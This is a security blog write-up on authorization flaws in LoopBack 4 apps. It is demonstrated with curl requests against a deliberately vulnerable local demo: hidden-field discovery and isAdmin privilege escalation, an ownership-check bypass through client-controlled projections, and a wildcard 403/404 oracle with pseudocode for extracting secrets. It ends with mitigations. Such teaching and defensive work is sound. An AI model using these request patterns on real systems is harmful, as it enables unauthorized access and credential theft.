Broken Access in LoopBack 4: Filters, Projections and Wildcards

· 17 min read

LoopBack’s filter language is powerful by design. This article is about three ways that power leaks into authorization, all of which are implementation mistakes rather than framework bugs: a client-controlled projection, a field-level edit that should never have been allowed, and a wildcard-based deny oracle. The issues below come from one real use case, so the list is finite and by no means complete.

Once upon a time I stumbled upon a request looking like this:

http://127.0.0.1:3000/api/documents?filter=%7B%22where%22%3A%7B%22and%22%3A%5B%7B%22or%22%3A%5B%7B%22ownerId%22%3A%22alice%22%7D%2C%7B%22visibility%22%3A%22public%22%7D%5D%7D%2C%7B%22title%22%3A%7B%22like%22%3A%22%25report%25%22%7D%7D%5D%7D%2C%22fields%22%3A%7B%22id%22%3Atrue%2C%22title%22%3Atrue%2C%22ownerId%22%3Afalse%7D%2C%22include%22%3A%5B%7B%22relation%22%3A%22comments%22%2C%22scope%22%3A%7B%22limit%22%3A3%7D%7D%5D%2C%22order%22%3A%22createdAt%20DESC%22%2C%22limit%22%3A10%2C%22skip%22%3A20%7D

Sent as a body, the same request would look like this:

{
  "where": {"and": [
    {"or": [{"ownerId": "alice"}, {"visibility": "public"}]},
    {"title": {"like": "%report%"}}
  ]},
  "fields": {"id": true, "title": true, "ownerId": false},
  "include": [{"relation": "comments", "scope": {"limit": 3}}],
  "order": "createdAt DESC",
  "limit": 10,
  "skip": 20
}

At first this seemed like a weird custom way to retrieve data from a CSV file or similar. Later searches revealed it to be LoopBack 4. After identifying the technology and reading through the documentation, I came across the following features:

  • Filter objects
  • Wildcards
  • Field projections
  • Default OpenAPI description

Those features are not really special in themselves, but they often offer an attack surface if not properly attended to.

To make everything here more comprehensible I had a coding agent spin up a sample project; it cost me some hours and some money. The repository is here:

https://github.com/Merapolis/LoopBack4VulnerabilitiesShowCase/tree/master

Isn’t LoopBack a NIC interface?

Not really. It is more about giving a solution to a typical problem. The application already introduced structure to data for the backend and now needs to serve it. Instead of doing this manually, LoopBack understands the existence of this structure and offers a uniform language to query for it. This is done via connectors: depending on what the source is, they offer the convenient interface to request data and serve it to the user.

A LoopBack filter is a JSON object with six top-level keys: where selects which records match, fields chooses which attributes are returned, include pulls in related models, order sorts the result, limit caps the number of records and skip offsets into them (Querying data). The distinction that matters for this article is between where, which decides which records you get, and fields, which decides what shape each record has on the way out. Two of the three findings below come from that second key. Lots of buzzwords. It will make more sense with the following examples.

AI generated image of a toddler playing with blocks.

Finding the blocks and building something with them.

Convenient as it is, it is not just about the endpoints for the clients, but the features attached to it. Even if a developer intends for an endpoint to serve a specific set of data only, or allows the user to edit only some of their attributes, they might miss the scope of what has been granted to the user unless it is specifically denied.

But even in denying access there are ways to read data by combining wildcards and error messages, essentially building an oracle for secrets similar to an error-based SQL injection.

What are such typical scenarios?

For the following vulnerabilities I will use the very same application that is linked in the introduction, so feel free to test along. As the repository states itself, it is completely vibe-coded and some aspects of how it was done might be unclean, but I will focus on the LoopBack elements regardless.

Further, I omitted anything about login or other typical features and have you enter some predefined identities yourself. More about the application itself in the repository.

OpenAPI definition

As the first stop, and to better understand the application at hand, we will check for the endpoints.

http://localhost:3000/openapi.json
http://localhost:3000/openapi.yaml

For every project, LoopBack uses its insights into the endpoints to write a thorough description of the available endpoints and how to properly access them. This feature is especially handy during development, but the spec endpoints should be disabled in production. They are on by default: if rest.openApiSpec is absent from your application config, /openapi.json and /openapi.yaml are served (Customizing how OpenAPI spec is served).

The Explorer UI is a separate component, added by @loopback/rest-explorer. To remove it, comment out its registration in src/application.ts:

// src/application.ts - disable the self-hosted Explorer UI
// this.configure(RestExplorerBindings.COMPONENT).to({path: '/explorer'});
// this.component(RestExplorerComponent);

That alone leaves /openapi.json and /openapi.yaml reachable, along with the Explorer’s own copy of the spec at /explorer/openapi.json. To turn the spec endpoints off, set rest.openApiSpec.disabled:

{
  "rest": {
    "openApiSpec": {"disabled": true}
  }
}

Disabling the spec also takes the Explorer down with it, so this one switch is enough for both endpoints. The reverse does not hold: removing the Explorer component leaves the spec in place, which is the annoyance tracked in loopback-next#2410. Note that rest.apiExplorer.disabled is a different flag again, it only stops the redirect to the externally hosted Explorer, not anything on your own host (Customizing Server configuration).

curl http://localhost:3000/openapi.json

This returns all the endpoints of the secure baseline of the application.

{
  "openapi": "3.0.0",
  "info": {
    "title": "LoopBack Application",
    "version": "1.0.0"
  },
  "paths": {
    "/documents/search": {
      "get": {
        "x-controller-name": "DocumentController",
        "x-operation-name": "search",
        "tags": [
          "DocumentController"
        ],
        "responses": {
          "200": {
            "description": "Return value of DocumentController.search"
          }
        },
        "parameters": [
          {
            "name": "title",
            "in": "query",
            "schema": {
              "type": "string"
            }
          },
          {
            "name": "X-Demo-User",
            "in": "header",
            "schema": {
              "type": "string"
            }
          }
        ],
        "operationId": "DocumentController.search"
      }
    }
  }
}
[...]

Important to us: there is a header called X-Demo-User, some documents that are either public or private and belong to different users, and a not-so-important health endpoint. Using just the main branch, no security issues will arise. But to showcase different scenarios I have introduced branches to talk about specific issues.

git branch
  demo/profile-field-authorization
  demo/projection-fail-open
  demo/wildcard-oracle
* master

You should be on the master branch for now. Depending on which topic we are on, a different branch is required. The branches themselves already spell out which specific angle they abuse. Feel free to discover the issues yourself first.

Profile field authorization

For this section we will be using the demo/profile-field-authorization branch.

git switch demo/profile-field-authorization
rm -rf dist && npm run build && npm run start

Pulling openapi.json again, the main differences are the following endpoints:

  • /demo/admin
  • /demo/profile

The feature is to edit some of the values of the profile intentionally, with /demo/admin only being accessible to admins. I think you know where this is going. :)

AI generated image of someone having a light bulb over their head.

Sometimes its too obvious.

Additionally, we find definitions at the bottom for the attributes served at /demo/profile, how to edit them, and whether we can at all. From the output we also deduce that there is an isAdmin attribute, as well as that it can be edited.

The scenario I want to play on here is not knowing which attributes are available. In production, a WAF is often in place or any development artifacts have been removed. Further, if the application intends for the user to edit only their email and displayName, the intended client flow would not reveal any other attributes.

A default request, without even revealing that LoopBack is used:

curl http://127.0.0.1:3000/demo/profile -H 'X-Demo-User: bob'

The application returns:

{"username":"bob","email":"bob@example.test","displayName":"Bob"}

This is the default response, and it does not hint at anything else being possible. Further, a real application might not just ask for the defaults, but try to ask some specific questions.

curl http://127.0.0.1:3000/demo/profile -H 'X-Demo-User: bob' --data-urlencode 'filter={"fields":{"username":true,"email":true,"displayName":true}}' --get

In the body it applies the LoopBack filter to ask for only specific parts of the output.

curl http://127.0.0.1:3000/demo/profile -H 'X-Demo-User: bob' --data-urlencode 'filter={"fields":{"displayName":true}}' --get

Now the response contains just the displayName.

{"displayName":"Bob"}

Meaning we can be really specific about what we want returned.

Now we use the route the application intends for editing an attribute.

curl -X PATCH http://127.0.0.1:3000/demo/profile -H 'X-Demo-User: bob' -H 'Content-Type: application/json' --data '{"email":"bob.updated@example.test","displayName":"Bobby"}'

Checking for the changes, we get our updated profile.

{"username":"bob","email":"bob.updated@example.test","displayName":"Bobby"}

But how would we ask for values we do not know about?

Fret not! LoopBack has a convenient answer to this problem. Just tell it to give you everything except the known value.

curl http://127.0.0.1:3000/demo/profile -H 'X-Demo-User: bob' --data-urlencode 'filter={"fields":{"displayName":false}}' --get

And we get the hidden admin property alongside all the other attributes.

{"username":"bob","email":"bob.updated@example.test","isAdmin":false}

This is a convenient way to scout outside the current user scope, looking for properties that a different role might have, but which might be in reach regardless. Depending on the structure of the application, it might even offer endpoints revealing the internal schemas, which would definitely be worth some time reading through.

To complete this exploit, we would now use our ability to edit attributes to set isAdmin to true and check the /demo/admin endpoint. Without the attribute set to true, we simply get a denial.

{"error":{"statusCode":403,"name":"ForbiddenError","message":"Admin access required"}}

Now changing the attribute:

curl -X PATCH http://127.0.0.1:3000/demo/profile -H 'X-Demo-User: bob' -H 'Content-Type: application/json' --data '{"isAdmin":true}'

Now requesting the /demo/admin endpoint:

curl http://127.0.0.1:3000/demo/admin -H 'X-Demo-User: bob'
{"scope":"admin","report":"Synthetic admin-only report"}

And we get the positive response we were hoping for!

AI generated image of someone tossing cards.

Letting it rain.

Projection fail

Next we switch to the branch demo/projection-fail-open.

git switch demo/projection-fail-open
rm -rf dist && npm run build && npm run start

Again we diff openapi.json to see what is different now. The endpoint /demo/protected-values/read is now new and, as it states, allows its user to read a protected value.

This issue stems from the relationship between the requested data and what the backend expects to be handed.

The client’s default expected payload sent to the backend defines the fields owner and value to be in the response body. This time we use an additional secretId, which is equal to an API key or special access code. The request is being made by the user who owns that secret key. It is about how the backend expects the return value to be formed, and what happens if someone gets to know another user’s token.

curl -X POST http://127.0.0.1:3000/demo/protected-values/read -H 'X-Demo-User: alice' -H 'Content-Type: application/json' --data '{"secretId":"ALICE-RESOURCE-001","fields":{"owner":true,"value":1}}'
{"owner":"alice","value":"Alice secret"}

What happens if bob somehow got to know alice’s secretId and makes the request?

curl -X POST http://127.0.0.1:3000/demo/protected-values/read -H 'X-Demo-User: bob' -H 'Content-Type: application/json' --data '{"secretId":"ALICE-RESOURCE-001","fields":{"owner":true,"value":1}}'

He gets a denial, even though he knows the secret required to request the information.

{"error":{"statusCode":403,"name":"ForbiddenError","message":"Access denied"}}

The response contains the owner and the requested value. In the original engagement this was also the case, but much more formulated. The client requested lots of key-value pairs by default, and the backend happened to rely on the user asking for those values. Why is the application having the client request the owner as well? What happens if we just omit it?

AI generated image of a detective on a crime scene.

Detective solving a case.

Inspecting the /demo/protected-values/read endpoint in src/controllers/protected-value.controller.ts, we see towards the bottom a check on the requested JSON object, which has the following flow:

// Getting the values out of the request
149-    const actor = this.requireDemoUser(demoUser);
150-    const {secretId, projectedFields} = this.validateBody(body);
[...]
// Retrieving the entry from the key-value store
154:    const projected = await this.protectedValueRepository.findOne({
155:      where: {secretId},
156:      fields: projectedFields,
157:    });
[...]
// Checking if the value exists
161-    if (!projected) {
162-      throw new HttpErrors.NotFound('Resource not found');
[...]
// Is the person requesting this the one owning the record
178:    if (projected.owner && projected.owner !== actor) {
179-      throw new HttpErrors.Forbidden('Access denied');
180-    }

The backend checks for fields that have the secretId and stores the result in projected. Next it checks whether there was a result at all. If it did find the result, a check is done whether the actor and the owner of the projected record are the same person.

In the last if clause, projected.owner itself is fully client-controlled. If omitted, the following happens.

// The boolean algebra for TypeScript
projected.owner && projected.owner !== actor
// Turns to
undefined && undefined !== actor

This basically makes the whole expression false, and the forbidden-access clause is never triggered. So sending the request without having the server formulate the owner key-value pair in the response leads to us bypassing the owner check.

curl -X POST http://127.0.0.1:3000/demo/protected-values/read -H 'X-Demo-User: bob' -H 'Content-Type: application/json' --data '{"secretId":"ALICE-RESOURCE-001","fields":{"value":1}}'

Which we can see here:

{"value":"Alice secret"}

The inverse projection works just as well: fields: {"owner": false} also leaves owner out of the returned object, so the check sees undefined and the bypass is identical. That is the real point, this is not one specific omission but the client controlling the shape of the response. The design smell is that owner is part of the client’s projection at all. The check should run against a query that projects owner server-side, unconditionally, instead of trusting the client to ask for it.

Dear reader, I know what you are thinking. But this is only possible because we know the secretId of the other user. Yes, you are right, and that is why this next section is the heart of this article.

Deny oracle

AI generated image of an oracle.

She knows your future.

Bob finding out alice’s secretId was crucial for the prior section. So let’s look at a different angle. Where else might she be using that ID, and can we somehow “steal” it?

git switch demo/wildcard-oracle
rm -rf dist && npm run build && npm run start

The branch name already gives the solution away, and I hinted at this when listing the features of LoopBack. But sometimes people use functions that allow the usage of wildcards. This is a widely known feature and especially useful when handling lots of records, where not just one is the match you are looking for.

Again, diffing reveals the new endpoint /demo/identities/resolve. It returns information on the user, but only if they truly have access to it. So the application might send a request like this.

curl -X POST http://127.0.0.1:3000/demo/identities/resolve -H 'X-Demo-User: alice' -H 'Content-Type: application/json' --data '{"where":{"ownerId":"alice","accessId":"BLOG"}}'

In our simplified version, the default response is just the ownerId.

{"ownerId":"alice"}

Now if bob were to request this using alice’s accessId:

curl -X POST http://127.0.0.1:3000/demo/identities/resolve -H 'X-Demo-User: bob' -H 'Content-Type: application/json' --data '{"where":{"ownerId":"alice","accessId":"BLOG"}}'
{"error":{"statusCode":403,"name":"ForbiddenError","message":"Access denied"}}

He gets an access denied 403.

Now we send the same request, but with an invalid accessId.

{"error":{"statusCode":404,"name":"NotFoundError","message":"Identity not found"}}

Now it is a 404. That difference is the leak in principle, not just here: the endpoint distinguishes “record exists, but it is not yours” from “record does not exist”, which is exactly what the 403 and the 404 mean. Return 404 for both and the oracle disappears. Now we bring the wildcard into play.

LoopBack allows for like statements, nested inside where clauses. The pattern syntax is a SQL regular expression and depends on the backend data source; with the SQL-style connectors used here, % matches any sequence of characters and _ matches exactly one (Where filter). Check your connector before assuming a different wildcard set.

curl -X POST http://127.0.0.1:3000/demo/identities/resolve -H 'X-Demo-User: alice' -H 'Content-Type: application/json' --data '{"where":{"ownerId":"alice","accessId":{"like":"BL%"}}}'

Now, as alice, with the incomplete accessId, we still get the positive response.

{"ownerId":"alice"}

A different way to test, if we want to first check the number of characters:

curl -X POST http://127.0.0.1:3000/demo/identities/resolve -H 'X-Demo-User: alice' -H 'Content-Type: application/json' --data '{"where":{"ownerId":"alice","accessId":{"like":"BL_G"}}}'

The _ is a single-character match. If not much is known about the ID, this would be a good start for matching. More information on possible query structures and what is possible is in the LoopBack documentation.

Now trying to request the endpoint as bob and the accessId being {"like":"BL%"}.

curl -X POST http://127.0.0.1:3000/demo/identities/resolve -H 'X-Demo-User: bob' -H 'Content-Type: application/json' --data '{"where":{"ownerId":"alice","accessId":{"like":"BL%"}}}'
{"error":{"statusCode":403,"name":"ForbiddenError","message":"Access denied"}}

We are back at an access denied 403. So even if we do not know the full string, we were somewhat able to match the intended record, or at least to know that a record containing the string BL exists.

Let’s inspect the code to better understand the issue at hand.

// Get the current user identification from the header
105:    const actor = this.requireDemoUser(demoUser);
// LoopBack query passed through without sanitization
106:    const where = this.validateResolveBody(body);
[...]
// The critical part here: the LoopBack query has been pasted 1:1 from the client.
// Blind trust in user-provided input.
125:    const identity = await this.apiIdentityRepository.findOne({where});
[...]
// Now it checks whether the retrieved record can be shown to the user or whether it even exists.
// The first entry is a 404.
132:    if (!identity) {
133:      throw new HttpErrors.NotFound('Identity not found');
134:    }
// This next error is if the ID is valid, but the user is not the owner of this record.
135:    if (identity.ownerId !== actor) {
136:      throw new HttpErrors.Forbidden('Access denied');
137:    }
138:    // Success: only the owner identity, nothing else.
139:    return {ownerId: identity.ownerId};

The main issue is the user query being provided via user input without verifying what the query contains. Specific keywords like like should not be allowed for such critical requests like this or like that.

Now, making the request as bob with no knowledge of what alice’s accessId would be, we would start with A%. This would throw a 404. Next is B%, which to our knowledge will throw the desired 403.

curl -X POST http://127.0.0.1:3000/demo/identities/resolve -H 'X-Demo-User: bob' -H 'Content-Type: application/json' --data '{"where":{"ownerId":"alice","accessId":{"like":"B%"}}}'

And there is the server message:

{"error":{"statusCode":403,"name":"ForbiddenError","message":"Access denied"}}

AI generated image of a slot machine hitting the jackpot.

Chances for success are high.

We see that it does match, but we do not have access. Regardless of that, we can force it to reveal the whole string. Next we would do BLA%, and for the third position we try every character of the possible set, until we get to BLO% and find our next match.

Automating that walk is straightforward. Here a short pseudo code snippet:

known = ""
while next_char_exists:
    for c in charset:
        if resolve(ownerId=alice, accessId=known + c + "%") == 403:
            known += c
            break

A binary 403/404 oracle is noisy: every character is a separate request, and rate limits, WAF rules or timing jitter can turn a real match into a false negative. Slow the loop down, retry on unexpected status codes, and treat timeouts as “no match” rather than a hit.

This way we can “guess” any possible secret that is served via a LoopBack query, and reuse the ID at endpoints that trust the handed string but do not confirm the owner. Depending on how the application is structured, the string can be used to get insights on the user or to perform identifying actions as them.

And that closes the loop with the previous section: the oracle supplies the secretId, and the projection bypass turns it into someone else’s data. Neither finding needs the other, but together they need no prior knowledge of the victim at all beyond their username.

What to do about it

  • Deny-list filter keys such as like wherever an identifier is looked up, the same way you would deny raw SQL for an ID lookup.
  • Never let client input decide the projection of security-relevant fields; project owner (and anything else the check depends on) server-side and unconditionally.
  • Return 404 for both “does not exist” and “not yours”, so a missing record and a forbidden one are indistinguishable.
  • Set rest.openApiSpec.disabled: true in production. That also disables the Explorer UI; removing the @loopback/rest-explorer component additionally stops /explorer from being mounted at all.
  • Keep ERROR_WRITER_OPTIONS.debug off in production if you configured it, so error responses do not carry stack traces that make an oracle chattier (loopback-next#3298). (this is an extra not picked up for the blog, but if you are reading this anyway just apply this as well :))

Conclusion

LoopBack offers developers many ways to make their backend easier to access by providing an interface with lots of different features. This in itself is great, but some security-relevant issues might be forgotten due to the sheer amount of features packed in there. Knowing which of them are critical or possibly need to be restricted would be a lot of work, and some problems might not seem relevant even though they are.

AI generated image of a dark corridor.

No escaping this.

Footnote

Images are AI generated.